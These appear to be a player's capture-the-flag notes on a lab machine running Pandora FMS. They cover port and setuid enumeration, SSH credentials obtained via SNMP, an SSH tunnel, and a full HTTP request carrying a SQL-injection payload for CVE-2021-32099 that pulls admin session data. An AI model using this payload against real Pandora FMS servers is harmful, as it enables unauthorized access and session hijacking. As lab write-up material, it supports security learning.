[*] TCP connections and listening ports:
Local address Local port Remote address Remote port State 0.0.0.0 22 0.0.0.0 0 listen 10.129.253.204 39494 1.1.1.1 53 synSent 127.0.0.1 3306 0.0.0.0 0 listen 127.0.0.53 53 0.0.0.0 0 listen
[*] fst010 Binaries with setuid bit… yes!
/usr/bin/sudo /usr/bin/pkexec /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/umount /usr/bin/pandora_backup (MATT) /usr/bin/passwd /usr/bin/mount /usr/bin/su /usr/bin/at /usr/bin/fusermount /usr/bin/chsh /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1
- Found leaked creds with SNMP using an NMAP UDP scan.
SSH: -u daniel -p HotelBabylon23- Created an ssh tunnel because there seemed to be a web app running on port 80 that I couldn’t reach
ssh -L 9050:127.0.0.1:80 daniel@10.10.11.136- Found an exploit to login to the Pandora console
Exploit for CVE-2021-32099 - nikn0laty - web page seems to have gone down a day after I found this
POST /pandora_console/include/chart_generator.php HTTP/1.1
Host: 127.0.0.1:9050
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=9vb1panfn3godbr1qdje903tsa
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 89
session_id=777' UNION SELECT 1,2,data FROM tsessions_php WHERE data LIKE '%admin%' -- xxxsession ID: 9vb1panfn3godbr1qdje903tsa
- Found a way to login to the console as Matt but can’t find much to do here
https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities
Pandora FMS version: v7.0NG.742_FIX_PERL2020